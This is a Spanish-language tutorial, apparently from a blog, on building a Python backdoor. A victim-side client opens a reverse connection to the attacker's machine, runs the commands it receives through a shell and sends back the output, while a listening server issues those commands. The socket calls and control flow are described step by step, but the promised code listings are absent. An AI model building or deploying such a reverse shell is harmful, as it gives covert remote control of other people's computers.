Las backdoor o puerta trasera sirven para mantener la persistencia a partir de un puerto. Desde ese puerto se mantiene una conexión se puede obtener el control del aplicativo, por tanto lo que vamos a programar a continuacion es mantener un puerto desde nuestro ordenador para que se nos contacte desde el ordenador victima y asi mantener un contacto sobre el. En nuestro programa vamos a utilizar la IP 0.0.0.0 de tal manera que nos valga para todas las IP en caso de que su IP publica sea dinamica.
Vamos a utilizar el metodo cliente/servidor el cliente sera la victima y el servidor sera el ordenador del atacante.
Comencemos con el programa del cliente, para lo que importaremos una serie de librerias.
Iniciaremos el codigo para evitar errores de proceso.
A continuacion debemos marcarle un objetivo o target que sera nuestra propia ip, podemos encontrarla con un “ifconfig” en nuestro terminal y ademas añadimos un puerto que no este en uso, en este caso hemos puesto para nuestro programa el “1234”
En la conexión utilizaremos el siguiente codigo que significa:
- socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- conexiones IPV4 y que acceda al puerto
- conexion.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
- para poder reutilizar el puerto
- conexion.connect((target, port))
Con esta parte del codigo se consigue la conexión entre los equipos cliente y servidor asi que haremos un pequeños bash para poder movernos en el equipo infectado.
Comenzaremos con un bucle que mantenga siempre abierta la consola le indicaremos la cantidad de buffer con recv(1024) y utilizaremos el decode latin1 ya que nos permite hacer acciones como dir en la revision de directorios.
Ahora le indicamos que solo cierre la consola en caso de que escribamos en la misma “exit”
En caso contrario haremos que pasemos el comando que indiquemos a la shell y añadiremos los estandares, el input (stdin), el output (stdout) y el error (stderr) . Asi definiremos la respuesta del comando.
En este lado de la bash insertaremos la salida del proceso output que recogeremos asi como el error (suele ayudar a encontrar errores del sistema). Y una vez tenemos el output lo enviamos con “conexion.send” al servidor.
Para finalizar necesitaremos utilizar la interaccion elif para indicar que necesitamos realizar un cd(change desktop o cambio de carpeta) que lo realizaremos con el comando os.chdir
Nuestro código debería parecer algo así.
Ahora empezaremos el programa server, empezaremos como en el cliente con las librerias necesarias para este proceso.
Tambien llamaremos a la funcion main que mas tarde definiremos
Para definir la funcion como dijimos al comienzo de este texto utilizaremos la ip 0.0.0.0 y el puerto sera el mismo.
- Socket.socket(socket.AF_INET)
- Para conexiones IPV4
- Socket.socket(socket.SOCK_STREAM)
- Para que acceda a nuestro puerto
- conexion.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
- Para poder reutilizar el puerto
- conexion.bind((ip, port))
- Ejecuta nuestro servidor
- conexion.listen(1)
- Pone el servidor en modo escucha
- Conn, addr = conexion.accept()
- Acepta la conexión.
En este punto completaremos la bash al igual que en el cliente empezando con un bucle que llamara a un input que almacenaremos como comando. El primer condicional sera como el anterior exit llamara a la salida.
En “else” le dejaremos el decode para poder comunicarse con el cliente recibiendolo con el mismo decode y el recv igual que el anterior (1024)
Nuestro código debería parecerse a algo así.
Ahora ya solo queda ejecutar ambos códigos, cada uno en su respectivo equipo. Puedes probar a hacerlo desde las maquinas virtuales que enseño a crear en la parte de sistemas operativos